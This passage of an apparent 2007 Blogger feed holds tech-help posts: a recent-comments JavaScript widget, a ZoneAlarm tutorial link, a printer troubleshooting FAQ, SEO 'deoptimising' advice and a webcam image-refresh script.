href="http://bp1.blogger.com/_nXiUn_G4NDk/RnUCcSYNPII/AAAAAAAAAEI/ccKDvafiFRM/s1600-h/banner2.jpg"&gt;&lt;img style="cursor: pointer;" src="http://bp1.blogger.com/_nXiUn_G4NDk/RnUCcSYNPII/AAAAAAAAAEI/ccKDvafiFRM/s400/banner2.jpg" alt="" id="BLOGGER_PHOTO_ID_5076966839923063938" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_nXiUn_G4NDk/RnUCciYNPJI/AAAAAAAAAEQ/oZ70brdImvU/s1600-h/banner3.jpg"&gt;&lt;img style="cursor: pointer;" src="http://bp2.blogger.com/_nXiUn_G4NDk/RnUCciYNPJI/AAAAAAAAAEQ/oZ70brdImvU/s400/banner3.jpg" alt="" id="BLOGGER_PHOTO_ID_5076966844218031250" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1863776507163505909?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1863776507163505909/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1863776507163505909' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1863776507163505909'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1863776507163505909'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/06/create-website-logo-in-photoshop.html' title='Create website logo in photoshop'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_nXiUn_G4NDk/RnUCciYNPKI/AAAAAAAAAEY/Usy0Fukn5ls/s72-c/banner4.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-3127057168528091037</id><published>2007-06-11T08:21:00.000-07:00</published><updated>2007-10-11T08:31:09.728-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Blogger recent comments and posts howto</title><content type='html'>1. Create empty HTML/JavaScript widget from Page Elements.&lt;br /&gt;2. Find these tags in Template-&gt;Edit HTML code view:&lt;br /&gt;&lt;blockquote&gt;  &amp;lt;div class='widget-content'&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;/div&amp;gt;&lt;/blockquote&gt;3. Copy and Paste this JavaScript code between them:&lt;br /&gt;&lt;br /&gt;&amp;lt;script type='text/javascript'&amp;gt;&lt;br /&gt;&lt;br /&gt;/** Code taken from Sample at Code.Google.com **/&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* Lists blog entries from the specified JSON feed&lt;br /&gt;* by creating a new 'ul' element in the DOM.  Each&lt;br /&gt;* bullet is the title of one blog entry, and contains&lt;br /&gt;* a hyperlink to that entry's URL.&lt;br /&gt;*/&lt;br /&gt;function listEntries(json) {&lt;br /&gt;var ul = document.createElement('ul');&lt;br /&gt;&lt;br /&gt;for (var i = 0; i &amp;lt; json.feed.entry.length; i++) {&lt;br /&gt;var entry = json.feed.entry[i];&lt;br /&gt;var alturl;&lt;br /&gt;&lt;br /&gt;for (var k = 0; k &amp;lt; entry.link.length; k++) {&lt;br /&gt;if (entry.link[k].rel == 'alternate') {&lt;br /&gt; alturl = entry.link[k].href;&lt;br /&gt; break;&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;var li = document.createElement('li');&lt;br /&gt;var a = document.createElement('a');&lt;br /&gt;a.href = alturl;&lt;br /&gt;&lt;br /&gt;var txt = document.createTextNode(entry.title.$t);&lt;br /&gt;a.appendChild(txt);&lt;br /&gt;li.appendChild(a);&lt;br /&gt;ul.appendChild(li);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;document.getElementById('data').appendChild(ul);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;function search(query, type) {&lt;br /&gt;removeOldQueryResults();&lt;br /&gt;&lt;br /&gt;var script = document.createElement('script');&lt;br /&gt;script.setAttribute('src', 'http://' + query + '/feeds/' + type +&lt;br /&gt;               '/default?alt=json-in-script&amp;amp;callback=listEntries');&lt;br /&gt;script.setAttribute('type', 'text/javascript');&lt;br /&gt;document.documentElement.firstChild.appendChild(script);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* Removes results from the previous search, including&lt;br /&gt;* the bullet list of blog entries and the script object&lt;br /&gt;* used to obtain the feed.&lt;br /&gt;*/&lt;br /&gt;function removeOldQueryResults() {&lt;br /&gt;// Remove the script element used to perform the query.&lt;br /&gt;var script_nodes = document.getElementsByTagName('script');&lt;br /&gt;for (var i = 0; i &amp;lt; script_nodes.length; i++) {&lt;br /&gt;var cur_node = script_nodes[i];&lt;br /&gt;&lt;br /&gt;if (cur_node.src &amp;amp;&amp;amp; cur_node.src.indexOf('json') != -1) {&lt;br /&gt;cur_node.parentNode.removeChild(cur_node);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;// Remove the bullet list of blog entries.&lt;br /&gt;var div = document.getElementById('data');&lt;br /&gt;if (div.firstChild) {&lt;br /&gt;div.removeChild(div.firstChild);&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;homeUrl = "&amp;lt;data:blog.homepageUrl/&amp;gt;";&lt;br /&gt;var arr = new Array(4);&lt;br /&gt;arr = homeUrl.split("/",4);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;// To change from recent comments to recent posts, replace with:&lt;br /&gt;// search(arr[2], "posts");&lt;br /&gt;&lt;br /&gt;search(arr[2], "comments");&lt;br /&gt;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;You are ready. Test it and enjoy!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-3127057168528091037?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/3127057168528091037/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=3127057168528091037' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3127057168528091037'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3127057168528091037'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/10/blogger-recent-comments-and-posts-howto.html' title='Blogger recent comments and posts howto'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-4517820208230109649</id><published>2007-06-01T10:05:00.000-07:00</published><updated>2007-09-12T02:50:40.927-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>ZoneAlarm - how to use it</title><content type='html'>Here is an online flash tutorial on using the free firewall from ZoneAlarm:&lt;br /&gt;&lt;blockquote&gt;http://download.zonelabs.com/bin/media/flash/clientTutorial/overview.html&lt;/blockquote&gt;&lt;a style="left: 0px ! important; top: 33px ! important;" title="Click here to block this object with Adblock Plus" class="abp-objtab visible ontop" href="http://download.zonelabs.com/bin/media/flash/clientTutorial/overview.swf"&gt;&lt;/a&gt;&lt;object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" align="" height="450" width="600"&gt; &lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;br /&gt;&lt;embed src="http://download.zonelabs.com/bin/media/flash/clientTutorial/overview.swf" quality="high" bgcolor="#FFFFFF" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" align="" height="450" width="600"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;/object&gt;&lt;br /&gt;Tip: When you want to play games over internet without interruption from the firewall just right click on the menu and select Game Mode...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-4517820208230109649?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/4517820208230109649/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=4517820208230109649' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4517820208230109649'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/4517820208230109649'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/06/zonealarm-how-to-use-it.html' title='ZoneAlarm - how to use it'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-3660320462010653057</id><published>2007-05-12T00:52:00.000-07:00</published><updated>2007-05-12T00:53:18.084-07:00</updated><title type='text'>302 redirecting webdirectories in Bulgaria</title><content type='html'>Here is a sample list of 302-hijacking domains in .bg area. I hope that their webmasters will fix them soon.&lt;br /&gt;http://yoobg.borsa.bg/&lt;br /&gt;http://start.bg/&lt;br /&gt;http://www.vratza.com/&lt;br /&gt;http://www.2x5.net/&lt;br /&gt;http://ida.bg/&lt;br /&gt;http://www.bulgariantop100.com/&lt;br /&gt;http://bgtop.net/&lt;br /&gt;http://bgrank.com/&lt;br /&gt;http://www.bulgariantop.com/&lt;br /&gt;http://www.gbg.bg/&lt;br /&gt;http://www.all.bg/&lt;br /&gt;http://www.kaiowas.biz/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-3660320462010653057?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/3660320462010653057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=3660320462010653057' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3660320462010653057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/3660320462010653057'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/05/302-redirecting-webdirectories-in.html' title='302 redirecting webdirectories in Bulgaria'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-1078592301744774531</id><published>2007-04-24T08:29:00.000-07:00</published><updated>2007-09-12T02:50:53.149-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Keep your printer clean and running - II</title><content type='html'>Here are some of the frequently asked questions by people having problems with their printers. Hope they'll help you.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q: &lt;/span&gt;The printer prints constantly one document and couldn't stop. There are no documents in the queue, everything is canceled, but the process never stops.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A: &lt;/span&gt;Turn off the device. Discard the interface cable and re-cancel if there are any jobs left. Wait 1-2minutes and turn again the printer on.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q:&lt;/span&gt; My printer is turned on but the printing don't start. What to do?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Look at the previous answer.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q:&lt;/span&gt; My printer has an USB interface. Is there any device that I might use to connect it to the Local Area Network so every connected client to be able to print?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A: &lt;/span&gt;There are so called USB-hubs that could connect your device to other computers. An easier way is to share your printer in a network. HOW: Go to the printer device, right click Properties and set up the File&amp;Print Sharing.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q:&lt;/span&gt; I've filled up my printer cartridges, but I was told to clean the black cartridge with water because of a leakage. It stayed one night in water and now works fine, but my color one now emits only blue and red. What to do?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Open the printer and take a small syringe. Carefully blow/clean up the cartridge dusses and cartridge loading sockets. During cleaning procedure use cotton balls and distilled water. Wait 1 day and try again printing. Other way is to run the diagnostic page or Head Cleaning utility.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q:&lt;/span&gt; My device doesn't print to the end: it goes to one position and returns the page half printed.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Probably the paper leading rollers are dirty. Clean them up in order for the page to flow fluently.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q:&lt;/span&gt; When printing, vertical shades or duplicated text started to appear. What is that?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Your laser printer coating is damaged. You need to buy a new toner cartridge and replace it.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q:&lt;/span&gt; My printer accepts freshly refilled cartridge as empty and doesn't start printing.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Apparently your tonner cassette has a device, counting the number of printings. There exist service applications that will null the counter so you could print again.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Q:&lt;/span&gt; After windows reintallation my printer doesn't recognize its own drivers?&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A:&lt;/span&gt; Turn off your antivirus protection. Delete the installed drivers from control panel-&gt;system-&gt;hardware-&gt;device manager. Restart and install the drivers again. If that doesn't work go to "driver update" or control panel-&gt; add new hardware and load the drivers from the CD-drive.&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;Q&lt;/strong&gt;: During printing the page contains only text without graphical elements.&lt;br /&gt;&lt;strong&gt;A&lt;/strong&gt;: Insert separately the graphical elements as an object or picture. Also check if there are any objects marked as non-printable from the application settings.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;   Q:&lt;/span&gt; The page is empty like there is no ink left.&lt;br /&gt;&lt;strong&gt;A:&lt;/strong&gt; Possible reasons: problems with the printer head: stuffed, empty or dried ink.&lt;br /&gt;&lt;br /&gt; &lt;strong&gt;Q&lt;/strong&gt;: Pale stripes appearing on the page.&lt;br /&gt;&lt;strong&gt;A:&lt;/strong&gt; The printer drum has an anti-static cover that might be damaged. Replacement is necessary.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Q:&lt;/strong&gt; My printer is repeatedly printing same document.&lt;br /&gt;&lt;strong&gt;A:&lt;/strong&gt; Turn off the printer and cancel all printer jobs/queue.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Q:&lt;/strong&gt; My printer couldn't print in Cyrillic.&lt;br /&gt;&lt;strong&gt;A:&lt;/strong&gt; If you are using TrueType fonts there should be no problems. Probably you are working with Unicode fonts. In case of Adobe products look for suitable Cyrillic fonts, for ms office you could use fonts such as SPBasquerville, Timok, Hebar...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-1078592301744774531?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/1078592301744774531/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=1078592301744774531' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1078592301744774531'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/1078592301744774531'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/04/keep-your-printer-clean-and-running-ii.html' title='Keep your printer clean and running - II'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-8832660157397909684</id><published>2007-04-20T05:35:00.000-07:00</published><updated>2009-02-25T05:03:58.916-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='antispyware'/><title type='text'>Laptop virus removal - howto</title><content type='html'>Click here to continue reading: &lt;a href="http://nevyan.blogspot.com/2007/12/remove-spyware-from-your-system.html"&gt;http://nevyan.blogspot.com/2007/12/remove-spyware-from-your-system.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-8832660157397909684?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/8832660157397909684/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=8832660157397909684' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8832660157397909684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/8832660157397909684'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/04/how-to-clean-up-laptop-from-adware.html' title='Laptop virus removal - howto'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-2820830732325663280</id><published>2007-04-15T01:18:00.000-07:00</published><updated>2008-10-09T00:46:08.511-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='seo'/><title type='text'>Deoptimising - a new way of SEO</title><content type='html'>I'll start this post with the assumption that you have experienced problems with the new google's ranking algorithms. I.E sometimes your website might appear at the end of search results(950 page), at 6, 30, 60th position or may be listed as supplemental. Possible reason might be that it has lost its trustrank and have the so called 950 penalty applied at runtime. So in order to escape here is what to do.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Check whether you need to deoptimize:&lt;/span&gt;&lt;br /&gt;If you want to see all the non-supplemental pages from your just type in google:&lt;br /&gt;site:www.yourwebsite.com/*&lt;br /&gt;&lt;br /&gt;Then to see just the supplemental pages from your site type:&lt;br /&gt;site:www.yourwebsite.com/ -site:www.yourwebsite.com/*&lt;br /&gt;&lt;br /&gt;Keep the ratio below 50%&lt;br /&gt;&lt;br /&gt;Also try the automated supplemental ratio tool: http://www.mapelli.info/tools/supplemental-index-ratio-calculator&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;What to do next:&lt;/span&gt;&lt;br /&gt;1. Validate your website&lt;br /&gt;&lt;br /&gt;2. If you use plenty of H1,H2,H3 tags remove most of them or replace 'H1' with stylized 'H2' or 'span' and 'strong' tags.&lt;br /&gt;&lt;br /&gt;3. Don't use same data in: 'title', 'h1', 'meta description' tags.&lt;br /&gt;&lt;br /&gt;4. In your website inner-linking navigation use same linking structure. Using same 'title' attributes in the menu on every page of your site is considered as spam.&lt;br /&gt;&lt;br /&gt;5. Your affiliate/referral links should differ in anchor text. Please check the 'title' attributes to be unique and avoid keywords stuffing there.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;Pay special attention to 'title' and 'alt' attributes: if they are overstuffed google bot will just place the first few lines of your page as a description in its search results which turns to be your repeating website heading information.&lt;br /&gt;Solution: examine what your search results look like(site:http://www.yourwebsite.com), see what exactly indexes google and make according changes ie. reduce the 'title' attributes.&lt;br /&gt;&lt;br /&gt;6. Remove any static content from the bottom page of your website especially the outbound links, etc...&lt;br /&gt;&lt;br /&gt;7. Check your affiliate links whether they are thematic or not. Remove those that are not connected to your site theme or add rel="nofollow" to them. If your site displays RSS feeds be sure to add rel="nofollow" also.&lt;br /&gt;Update: Try this tool to find whether you are linking to bad neighbourhoud websites: http://www.bad-neighborhood.com/text-link-tool.htm&lt;br /&gt;&lt;br /&gt;8. Deoptimize - lower your content keyword density&lt;br /&gt;&lt;blockquote&gt;http://www.webconfs.com/keyword-density-checker.php&lt;/blockquote&gt;and check your content for spam here: &lt;span&gt;&lt;br /&gt;&lt;blockquote&gt;http://tool.motoricerca.info/spam-detector/&lt;/blockquote&gt;Blogger users note: check out your navigation(posts archive) - too many links to posts with keywords in their titles increase the overall post keyword density so be careful.&lt;br /&gt;when using forms you may also look over your hidden field values: do not use keywords there - it's an easily misunderstood issue.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;9. Limit the usage of 'title' attributes in the &amp;lt;a href&amp;gt; tags as well as &amp;lt;b&amp;gt;/&amp;lt;strong&amp;gt; tags -&gt; they weigh to the content presented in the SERPS.&lt;br /&gt;&lt;br /&gt;These might sound as drastic measures but I've already managed to escape 3 websites using the above techniques. So experiment and look what will happen. Wait and hopefully soon you'll be out of the google's supplemental index too.&lt;br /&gt;&lt;br /&gt;For more information look at:&lt;br /&gt;&lt;h3 class="post-title" style="font-weight: bold;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://nevyan.blogspot.com/2007/01/duplicate-website-content-how-to-avoid.html"&gt;&lt;/a&gt;&lt;/span&gt;&lt;/h3&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;a href="http://nevyan.blogspot.com/2006/09/is-your-website-in-googles-sandbox.html"&gt;Is your website in Google's sandbox?&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://nevyan.blogspot.com/2007/01/duplicate-website-content-how-to-avoid.html"&gt;Duplicate website content and how to avoid it&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Update: If you've tried everything above but still aren't satisfied from results:&lt;br /&gt;1. Load your navigation/advertising section using &lt;span style="font-weight: bold;"&gt;AJAX &lt;/span&gt;request not purely via JavaScript&lt;br /&gt;&lt;br /&gt;2. Check google's webmasters tools and fix if there are any potential &lt;span style="font-weight: bold;"&gt;duplicate &lt;/span&gt;issues&lt;br /&gt;&lt;br /&gt;3. Check all of your &lt;span style="font-weight: bold;"&gt;subdomains&lt;/span&gt; for supplemental results and fix them as soon as possible.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-2820830732325663280?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/2820830732325663280/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=2820830732325663280' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2820830732325663280'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/2820830732325663280'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/04/deoptimizing-new-way-of-seo.html' title='Deoptimising - a new way of SEO'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-19793524.post-6740552830234693582</id><published>2007-04-07T09:00:00.000-07:00</published><updated>2009-03-04T01:31:31.596-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='webdesign'/><title type='text'>Place webcam stream on your website - howto</title><content type='html'>Here are two free programs that will help you to put live streaming video from your webcam to your website. There are several methods to do this. One of them is to constantly upload captured image to the website and then just to refresh the picture of the website using JavaScript.&lt;br /&gt;The second one is better because it saves bandwidth and time - to run your own web cam server.  The following applications support both methods.&lt;br /&gt;&lt;br /&gt;Dorgem is good free program that can be used for image capturing. It will slow down while uploading the image, but the overall performance is excellent.&lt;br /&gt;&lt;img style="cursor: pointer;" src="http://bp2.blogger.com/_nXiUn_G4NDk/RhfCs5hWGfI/AAAAAAAAABc/Fm5gWADMCg0/s400/dorgem.gif" alt="" id="BLOGGER_PHOTO_ID_5050719583730014706" border="0" /&gt;&lt;br /&gt;&lt;span style=""&gt;&lt;span class="a"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote&gt;http://dorgem.sourceforge.net&lt;/blockquote&gt;&lt;span style=""&gt;&lt;span class="a"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;Dcam&lt;br /&gt;&lt;img style="cursor: pointer;" src="http://bp3.blogger.com/_nXiUn_G4NDk/RhfCjJhWGeI/AAAAAAAAABU/7aCG53P2QbY/s400/dcam.gif" alt="" id="BLOGGER_PHOTO_ID_5050719416226290146" border="0" /&gt;&lt;br /&gt;&lt;span style=""&gt;&lt;span class="a"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;blockquote&gt;http://sourceforge.net/projects/dcamserver/&lt;/blockquote&gt;&lt;br /&gt;Start the programs and adjust your website settings: username, password, directory - where the images will be uploaded. Set the captured image name to &lt;span style="font-weight: bold;"&gt;image.jpg&lt;/span&gt;. Also you may fine tune the update time of the upload for example 2 or 10 seconds.&lt;br /&gt;&lt;br /&gt;The following is a code that you must place in your webpage:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;img id="webcam" src="image.jpg"&amp;gt;&lt;br /&gt;&amp;lt;p&gt;Refresh Interval(seconds): 5&amp;lt;/p&amp;gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;script language="JavaScript" type="text/javascript"&amp;gt;&lt;br /&gt;setInterval('document.getElementById(\'webcam\').src=\'image.jpg?l=\'+(new Date).getTime()',5*1000);&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;Replace 5*1000 with any number you would like to refresh the client web page.&lt;br /&gt;5*1000=5 seconds.&lt;br /&gt;&lt;br /&gt;Click Start or Capture now watch and enjoy!&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;also you may try the free Jing Project: &lt;blockquote&gt;http://www.jingproject.com/&lt;/blockquote&gt; which allows you to capture video and upload it to Screencast.com, a local folder, a network drive, an FTP server.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/19793524-6740552830234693582?l=nevyan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nevyan.blogspot.com/feeds/6740552830234693582/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=19793524&amp;postID=6740552830234693582' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6740552830234693582'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/19793524/posts/default/6740552830234693582'/><link rel='alternate' type='text/html' href='http://nevyan.blogspot.com/2007/04/place-webcam-stream-on-your-website.html' title='Place webcam stream on your website - howto'/><author><name>Nevyan</name><uri>http://www.blogger.com/profile/15075364915999782190</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/-NrtMj464hyE/TkvoqnQykHI/AAAAAAAAAjE/M0vX0Zbtrso/s1600/photo.jpg%253Fsz%253D200'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp2.blogger.com/_nXiUn_G4NDk/RhfCs5hWGfI/AAAAAAAAABc/Fm5gWADMCg0/s72-c/dorgem.gif' height='72' 